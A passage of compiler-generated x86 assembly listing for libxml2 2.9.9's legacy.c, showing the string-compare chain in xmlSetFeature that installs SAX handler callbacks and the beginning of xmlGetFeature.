386 : } pop esi mov DWORD PTR [ecx+4], eax xor eax, eax pop ebx pop ebp ret 0 $LN35@xmlSetFeat: ; 325 : } else if (!strcmp(name, "SAX function hasInternalSubset")) { mov ecx, OFFSET ??_C@_0BP@PCBCHDK@SAX?5function?5hasInternalSubset@ mov eax, esi npad 2 $LL148@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN149@xmlSetFeat test dl, dl je SHORT $LN150@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN149@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL148@xmlSetFeat $LN150@xmlSetFeat: xor eax, eax jmp SHORT $LN151@xmlSetFeat $LN149@xmlSetFeat: sbb eax, eax or eax, 1 $LN151@xmlSetFeat: test eax, eax jne SHORT $LN37@xmlSetFeat ; 326 : ctxt->sax->hasInternalSubset = mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+8], eax xor eax, eax pop ebx pop ebp ret 0 $LN37@xmlSetFeat: ; 327 : *((hasInternalSubsetSAXFunc *) value); ; 328 : } else if (!strcmp(name, "SAX function hasExternalSubset")) { mov ecx, OFFSET ??_C@_0BP@NEKEPJAE@SAX?5function?5hasExternalSubset@ mov eax, esi npad 2 $LL152@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN153@xmlSetFeat test dl, dl je SHORT $LN154@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN153@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL152@xmlSetFeat $LN154@xmlSetFeat: xor eax, eax jmp SHORT $LN155@xmlSetFeat $LN153@xmlSetFeat: sbb eax, eax or eax, 1 $LN155@xmlSetFeat: test eax, eax jne SHORT $LN39@xmlSetFeat ; 329 : ctxt->sax->hasExternalSubset = mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+12], eax xor eax, eax pop ebx pop ebp ret 0 $LN39@xmlSetFeat: ; 330 : *((hasExternalSubsetSAXFunc *) value); ; 331 : } else if (!strcmp(name, "SAX function resolveEntity")) { mov ecx, OFFSET ??_C@_0BL@PDBAGIFI@SAX?5function?5resolveEntity@ mov eax, esi npad 2 $LL156@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN157@xmlSetFeat test dl, dl je SHORT $LN158@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN157@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL156@xmlSetFeat $LN158@xmlSetFeat: xor eax, eax jmp SHORT $LN159@xmlSetFeat $LN157@xmlSetFeat: sbb eax, eax or eax, 1 $LN159@xmlSetFeat: test eax, eax jne SHORT $LN41@xmlSetFeat ; 332 : ctxt->sax->resolveEntity = *((resolveEntitySAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+16], eax xor eax, eax pop ebx pop ebp ret 0 $LN41@xmlSetFeat: ; 333 : } else if (!strcmp(name, "SAX function getEntity")) { mov ecx, OFFSET ??_C@_0BH@FFFDLCDF@SAX?5function?5getEntity@ mov eax, esi npad 2 $LL160@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN161@xmlSetFeat test dl, dl je SHORT $LN162@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN161@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL160@xmlSetFeat $LN162@xmlSetFeat: xor eax, eax jmp SHORT $LN163@xmlSetFeat $LN161@xmlSetFeat: sbb eax, eax or eax, 1 $LN163@xmlSetFeat: test eax, eax jne SHORT $LN43@xmlSetFeat ; 334 : ctxt->sax->getEntity = *((getEntitySAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+20], eax xor eax, eax pop ebx pop ebp ret 0 $LN43@xmlSetFeat: ; 335 : } else if (!strcmp(name, "SAX function entityDecl")) { mov ecx, OFFSET ??_C@_0BI@COIOKLKC@SAX?5function?5entityDecl@ mov eax, esi npad 2 $LL164@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN165@xmlSetFeat test dl, dl je SHORT $LN166@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN165@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL164@xmlSetFeat $LN166@xmlSetFeat: xor eax, eax jmp SHORT $LN167@xmlSetFeat $LN165@xmlSetFeat: sbb eax, eax or eax, 1 $LN167@xmlSetFeat: test eax, eax jne SHORT $LN45@xmlSetFeat ; 336 : ctxt->sax->entityDecl = *((entityDeclSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+24], eax xor eax, eax pop ebx pop ebp ret 0 $LN45@xmlSetFeat: ; 337 : } else if (!strcmp(name, "SAX function notationDecl")) { mov ecx, OFFSET ??_C@_0BK@OEHIHIHP@SAX?5function?5notationDecl@ mov eax, esi npad 2 $LL168@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN169@xmlSetFeat test dl, dl je SHORT $LN170@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN169@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL168@xmlSetFeat $LN170@xmlSetFeat: xor eax, eax jmp SHORT $LN171@xmlSetFeat $LN169@xmlSetFeat: sbb eax, eax or eax, 1 $LN171@xmlSetFeat: test eax, eax jne SHORT $LN47@xmlSetFeat ; 338 : ctxt->sax->notationDecl = *((notationDeclSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+28], eax xor eax, eax pop ebx pop ebp ret 0 $LN47@xmlSetFeat: ; 339 : } else if (!strcmp(name, "SAX function attributeDecl")) { mov ecx, OFFSET ??_C@_0BL@FLOOINBL@SAX?5function?5attributeDecl@ mov eax, esi npad 2 $LL172@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN173@xmlSetFeat test dl, dl je SHORT $LN174@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN173@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL172@xmlSetFeat $LN174@xmlSetFeat: xor eax, eax jmp SHORT $LN175@xmlSetFeat $LN173@xmlSetFeat: sbb eax, eax or eax, 1 $LN175@xmlSetFeat: test eax, eax jne SHORT $LN49@xmlSetFeat ; 340 : ctxt->sax->attributeDecl = *((attributeDeclSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+32], eax xor eax, eax pop ebx pop ebp ret 0 $LN49@xmlSetFeat: ; 341 : } else if (!strcmp(name, "SAX function elementDecl")) { mov ecx, OFFSET ??_C@_0BJ@PINGOANC@SAX?5function?5elementDecl@ mov eax, esi npad 2 $LL176@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN177@xmlSetFeat test dl, dl je SHORT $LN178@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN177@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL176@xmlSetFeat $LN178@xmlSetFeat: xor eax, eax jmp SHORT $LN179@xmlSetFeat $LN177@xmlSetFeat: sbb eax, eax or eax, 1 $LN179@xmlSetFeat: test eax, eax jne SHORT $LN51@xmlSetFeat ; 342 : ctxt->sax->elementDecl = *((elementDeclSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+36], eax xor eax, eax pop ebx pop ebp ret 0 $LN51@xmlSetFeat: ; 343 : } else if (!strcmp(name, "SAX function unparsedEntityDecl")) { mov ecx, OFFSET ??_C@_0CA@PPDJGMOP@SAX?5function?5unparsedEntityDecl@ mov eax, esi npad 2 $LL180@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN181@xmlSetFeat test dl, dl je SHORT $LN182@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN181@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL180@xmlSetFeat $LN182@xmlSetFeat: xor eax, eax jmp SHORT $LN183@xmlSetFeat $LN181@xmlSetFeat: sbb eax, eax or eax, 1 $LN183@xmlSetFeat: test eax, eax jne SHORT $LN53@xmlSetFeat ; 344 : ctxt->sax->unparsedEntityDecl = mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+40], eax xor eax, eax pop ebx pop ebp ret 0 $LN53@xmlSetFeat: ; 345 : *((unparsedEntityDeclSAXFunc *) value); ; 346 : } else if (!strcmp(name, "SAX function setDocumentLocator")) { mov ecx, OFFSET ??_C@_0CA@LKGNIEEL@SAX?5function?5setDocumentLocator@ mov eax, esi npad 2 $LL184@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN185@xmlSetFeat test dl, dl je SHORT $LN186@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN185@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL184@xmlSetFeat $LN186@xmlSetFeat: xor eax, eax jmp SHORT $LN187@xmlSetFeat $LN185@xmlSetFeat: sbb eax, eax or eax, 1 $LN187@xmlSetFeat: test eax, eax jne SHORT $LN55@xmlSetFeat ; 347 : ctxt->sax->setDocumentLocator = mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+44], eax xor eax, eax pop ebx pop ebp ret 0 $LN55@xmlSetFeat: ; 348 : *((setDocumentLocatorSAXFunc *) value); ; 349 : } else if (!strcmp(name, "SAX function startDocument")) { mov ecx, OFFSET ??_C@_0BL@GBPENFAA@SAX?5function?5startDocument@ mov eax, esi npad 2 $LL188@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN189@xmlSetFeat test dl, dl je SHORT $LN190@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN189@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL188@xmlSetFeat $LN190@xmlSetFeat: xor eax, eax jmp SHORT $LN191@xmlSetFeat $LN189@xmlSetFeat: sbb eax, eax or eax, 1 $LN191@xmlSetFeat: test eax, eax jne SHORT $LN57@xmlSetFeat ; 350 : ctxt->sax->startDocument = *((startDocumentSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+48], eax xor eax, eax pop ebx pop ebp ret 0 $LN57@xmlSetFeat: ; 351 : } else if (!strcmp(name, "SAX function endDocument")) { mov ecx, OFFSET ??_C@_0BJ@BMHDOOAH@SAX?5function?5endDocument@ mov eax, esi npad 2 $LL192@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN193@xmlSetFeat test dl, dl je SHORT $LN194@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN193@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL192@xmlSetFeat $LN194@xmlSetFeat: xor eax, eax jmp SHORT $LN195@xmlSetFeat $LN193@xmlSetFeat: sbb eax, eax or eax, 1 $LN195@xmlSetFeat: test eax, eax jne SHORT $LN59@xmlSetFeat ; 352 : ctxt->sax->endDocument = *((endDocumentSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+52], eax xor eax, eax pop ebx pop ebp ret 0 $LN59@xmlSetFeat: ; 353 : } else if (!strcmp(name, "SAX function startElement")) { mov ecx, OFFSET ??_C@_0BK@MKAFHOHD@SAX?5function?5startElement@ mov eax, esi npad 2 $LL196@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN197@xmlSetFeat test dl, dl je SHORT $LN198@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN197@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL196@xmlSetFeat $LN198@xmlSetFeat: xor eax, eax jmp SHORT $LN199@xmlSetFeat $LN197@xmlSetFeat: sbb eax, eax or eax, 1 $LN199@xmlSetFeat: test eax, eax jne SHORT $LN61@xmlSetFeat ; 354 : ctxt->sax->startElement = *((startElementSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+56], eax xor eax, eax pop ebx pop ebp ret 0 $LN61@xmlSetFeat: ; 355 : } else if (!strcmp(name, "SAX function endElement")) { mov ecx, OFFSET ??_C@_0BI@EKKAMIPM@SAX?5function?5endElement@ mov eax, esi npad 2 $LL200@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN201@xmlSetFeat test dl, dl je SHORT $LN202@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN201@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL200@xmlSetFeat $LN202@xmlSetFeat: xor eax, eax jmp SHORT $LN203@xmlSetFeat $LN201@xmlSetFeat: sbb eax, eax or eax, 1 $LN203@xmlSetFeat: test eax, eax jne SHORT $LN63@xmlSetFeat ; 356 : ctxt->sax->endElement = *((endElementSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+60], eax xor eax, eax pop ebx pop ebp ret 0 $LN63@xmlSetFeat: ; 357 : } else if (!strcmp(name, "SAX function reference")) { mov ecx, OFFSET ??_C@_0BH@COKKFLJA@SAX?5function?5reference@ mov eax, esi npad 2 $LL204@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN205@xmlSetFeat test dl, dl je SHORT $LN206@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN205@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL204@xmlSetFeat $LN206@xmlSetFeat: xor eax, eax jmp SHORT $LN207@xmlSetFeat $LN205@xmlSetFeat: sbb eax, eax or eax, 1 $LN207@xmlSetFeat: test eax, eax jne SHORT $LN65@xmlSetFeat ; 358 : ctxt->sax->reference = *((referenceSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+64], eax xor eax, eax pop ebx pop ebp ret 0 $LN65@xmlSetFeat: ; 359 : } else if (!strcmp(name, "SAX function characters")) { mov ecx, OFFSET ??_C@_0BI@OKJHNGCO@SAX?5function?5characters@ mov eax, esi npad 2 $LL208@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN209@xmlSetFeat test dl, dl je SHORT $LN210@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN209@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL208@xmlSetFeat $LN210@xmlSetFeat: xor eax, eax jmp SHORT $LN211@xmlSetFeat $LN209@xmlSetFeat: sbb eax, eax or eax, 1 $LN211@xmlSetFeat: test eax, eax jne SHORT $LN67@xmlSetFeat ; 360 : ctxt->sax->characters = *((charactersSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+68], eax xor eax, eax pop ebx pop ebp ret 0 $LN67@xmlSetFeat: ; 361 : } else if (!strcmp(name, "SAX function ignorableWhitespace")) { mov ecx, OFFSET ??_C@_0CB@KGCDCKOM@SAX?5function?5ignorableWhitespac@ mov eax, esi npad 2 $LL212@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN213@xmlSetFeat test dl, dl je SHORT $LN214@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN213@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL212@xmlSetFeat $LN214@xmlSetFeat: xor eax, eax jmp SHORT $LN215@xmlSetFeat $LN213@xmlSetFeat: sbb eax, eax or eax, 1 $LN215@xmlSetFeat: test eax, eax jne SHORT $LN69@xmlSetFeat ; 362 : ctxt->sax->ignorableWhitespace = mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+72], eax xor eax, eax pop ebx pop ebp ret 0 $LN69@xmlSetFeat: ; 363 : *((ignorableWhitespaceSAXFunc *) value); ; 364 : } else if (!strcmp(name, "SAX function processingInstruction")) { mov ecx, OFFSET ??_C@_0CD@FCJNICIP@SAX?5function?5processingInstruct@ mov eax, esi npad 2 $LL216@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN217@xmlSetFeat test dl, dl je SHORT $LN218@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN217@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL216@xmlSetFeat $LN218@xmlSetFeat: xor eax, eax jmp SHORT $LN219@xmlSetFeat $LN217@xmlSetFeat: sbb eax, eax or eax, 1 $LN219@xmlSetFeat: test eax, eax jne SHORT $LN71@xmlSetFeat ; 365 : ctxt->sax->processingInstruction = mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+76], eax xor eax, eax pop ebx pop ebp ret 0 $LN71@xmlSetFeat: ; 366 : *((processingInstructionSAXFunc *) value); ; 367 : } else if (!strcmp(name, "SAX function comment")) { mov ecx, OFFSET ??_C@_0BF@LMDIIKPA@SAX?5function?5comment@ mov eax, esi npad 2 $LL220@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN221@xmlSetFeat test dl, dl je SHORT $LN222@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN221@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL220@xmlSetFeat $LN222@xmlSetFeat: xor eax, eax jmp SHORT $LN223@xmlSetFeat $LN221@xmlSetFeat: sbb eax, eax or eax, 1 $LN223@xmlSetFeat: test eax, eax jne SHORT $LN73@xmlSetFeat ; 368 : ctxt->sax->comment = *((commentSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+80], eax xor eax, eax pop ebx pop ebp ret 0 $LN73@xmlSetFeat: ; 369 : } else if (!strcmp(name, "SAX function warning")) { mov ecx, OFFSET ??_C@_0BF@IKOPPKMI@SAX?5function?5warning@ mov eax, esi npad 2 $LL224@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN225@xmlSetFeat test dl, dl je SHORT $LN226@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN225@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL224@xmlSetFeat $LN226@xmlSetFeat: xor eax, eax jmp SHORT $LN227@xmlSetFeat $LN225@xmlSetFeat: sbb eax, eax or eax, 1 $LN227@xmlSetFeat: test eax, eax jne SHORT $LN75@xmlSetFeat ; 370 : ctxt->sax->warning = *((warningSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+84], eax xor eax, eax pop ebx pop ebp ret 0 $LN75@xmlSetFeat: ; 371 : } else if (!strcmp(name, "SAX function error")) { mov ecx, OFFSET ??_C@_0BD@DNENFEEM@SAX?5function?5error@ mov eax, esi npad 2 $LL228@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN229@xmlSetFeat test dl, dl je SHORT $LN230@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN229@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL228@xmlSetFeat $LN230@xmlSetFeat: xor eax, eax jmp SHORT $LN231@xmlSetFeat $LN229@xmlSetFeat: sbb eax, eax or eax, 1 $LN231@xmlSetFeat: test eax, eax jne SHORT $LN77@xmlSetFeat ; 372 : ctxt->sax->error = *((errorSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+88], eax xor eax, eax pop ebx pop ebp ret 0 $LN77@xmlSetFeat: ; 373 : } else if (!strcmp(name, "SAX function fatalError")) { mov ecx, OFFSET ??_C@_0BI@IMPPHMFP@SAX?5function?5fatalError@ mov eax, esi npad 2 $LL232@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN233@xmlSetFeat test dl, dl je SHORT $LN234@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN233@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL232@xmlSetFeat $LN234@xmlSetFeat: xor eax, eax jmp SHORT $LN235@xmlSetFeat $LN233@xmlSetFeat: sbb eax, eax or eax, 1 $LN235@xmlSetFeat: test eax, eax jne SHORT $LN79@xmlSetFeat ; 374 : ctxt->sax->fatalError = *((fatalErrorSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+92], eax xor eax, eax pop ebx pop ebp ret 0 $LN79@xmlSetFeat: ; 375 : } else if (!strcmp(name, "SAX function getParameterEntity")) { mov ecx, OFFSET ??_C@_0CA@CFPGLICD@SAX?5function?5getParameterEntity@ mov eax, esi npad 2 $LL236@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN237@xmlSetFeat test dl, dl je SHORT $LN238@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN237@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL236@xmlSetFeat $LN238@xmlSetFeat: xor eax, eax jmp SHORT $LN239@xmlSetFeat $LN237@xmlSetFeat: sbb eax, eax or eax, 1 $LN239@xmlSetFeat: test eax, eax jne SHORT $LN81@xmlSetFeat ; 376 : ctxt->sax->getParameterEntity = mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+96], eax xor eax, eax pop ebx pop ebp ret 0 $LN81@xmlSetFeat: ; 377 : *((getParameterEntitySAXFunc *) value); ; 378 : } else if (!strcmp(name, "SAX function cdataBlock")) { mov ecx, OFFSET ??_C@_0BI@FKOGIEIN@SAX?5function?5cdataBlock@ mov eax, esi npad 2 $LL240@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN241@xmlSetFeat test dl, dl je SHORT $LN242@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN241@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL240@xmlSetFeat $LN242@xmlSetFeat: xor eax, eax jmp SHORT $LN243@xmlSetFeat $LN241@xmlSetFeat: sbb eax, eax or eax, 1 $LN243@xmlSetFeat: test eax, eax jne SHORT $LN83@xmlSetFeat ; 379 : ctxt->sax->cdataBlock = *((cdataBlockSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+100], eax xor eax, eax pop ebx pop ebp ret 0 $LN83@xmlSetFeat: ; 380 : } else if (!strcmp(name, "SAX function externalSubset")) { mov eax, OFFSET ??_C@_0BM@DJIAAFCM@SAX?5function?5externalSubset@ npad 4 $LL244@xmlSetFeat: mov cl, BYTE PTR [esi] cmp cl, BYTE PTR [eax] jne SHORT $LN245@xmlSetFeat test cl, cl je SHORT $LN246@xmlSetFeat mov cl, BYTE PTR [esi+1] cmp cl, BYTE PTR [eax+1] jne SHORT $LN245@xmlSetFeat add esi, 2 add eax, 2 test cl, cl jne SHORT $LL244@xmlSetFeat $LN246@xmlSetFeat: xor eax, eax jmp SHORT $LN247@xmlSetFeat $LN245@xmlSetFeat: sbb eax, eax or eax, 1 $LN247@xmlSetFeat: test eax, eax jne SHORT $LN3@xmlSetFeat ; 381 : ctxt->sax->externalSubset = *((externalSubsetSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx+104], eax xor eax, eax pop ebx pop ebp ret 0 $LN3@xmlSetFeat: pop edi pop esi or eax, -1 pop ebx pop ebp ret 0 _xmlSetFeature ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlGetFeature _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _name$ = 12 ; size = 4 _result$ = 16 ; size = 4 _xmlGetFeature PROC ; COMDAT ; 173 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _ctxt$[ebp] test edi, edi je $LN3@xmlGetFeat ; 174 : if ((ctxt == NULL) || (name == NULL) || (result == NULL)) mov esi, DWORD PTR _name$[ebp] test esi, esi je $LN3@xmlGetFeat mov ebx, DWORD PTR _result$[ebp] test ebx, ebx je $LN3@xmlGetFeat ; 175 : return (-1); ; 176 : ; 177 : if (!strcmp(name, "validate")) { mov ecx, OFFSET ??_C@_08EBLJJHKN@validate@ mov eax, esi $LL85@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN86@xmlGetFeat test dl, dl je SHORT $LN87@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN86@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL85@xmlGetFeat $LN87@xmlGetFeat: xor eax, eax jmp SHORT $LN88@xmlGetFeat $LN86@xmlGetFeat: sbb eax, eax or eax, 1 $LN88@xmlGetFeat: test eax, eax jne SHORT $LN4@xmlGetFeat ; 178 : *((int *) result) = ctxt->validate; mov eax, DWORD PTR [edi+104] pop edi ; 264 : } else { ; 265 : return (-1); ; 266 : } ; 267 : return (0); mov DWORD PTR [ebx], eax xor eax, eax ; 268 : } pop esi pop ebx pop ebp ret 0 $LN4@xmlGetFeat: ; 179 : } else if (!strcmp(name, "keep blanks")) { mov ecx, OFFSET ??_C@_0M@JOFGOHIP@keep?5blanks@ mov eax, esi $LL89@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN90@xmlGetFeat test dl, dl je SHORT $LN91@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN90@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL89@xmlGetFeat $LN91@xmlGetFeat: xor eax, eax jmp SHORT $LN92@xmlGetFeat $LN90@xmlGetFeat: sbb eax, eax or eax, 1 $LN92@xmlGetFeat: test eax, eax jne SHORT $LN6@xmlGetFeat ; 180 : *((int *) result) = ctxt->keepBlanks; mov eax, DWORD PTR [edi+208] pop edi ; 264 : } else { ; 265 : return (-1); ; 266 : } ; 267 : return (0); mov DWORD PTR [ebx], eax xor eax, eax ; 268 : } pop esi pop ebx pop ebp ret 0 $LN6@xmlGetFeat: ; 181 : } else if (!strcmp(name, "disable SAX")) { mov ecx, OFFSET ??_C@_0M@EPCDMNHL@disable?5SAX@ mov eax, esi $LL93@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN94@xmlGetFeat test dl, dl je SHORT $LN95@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN94@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL93@xmlGetFeat $LN95@xmlGetFeat: xor eax, eax jmp SHORT 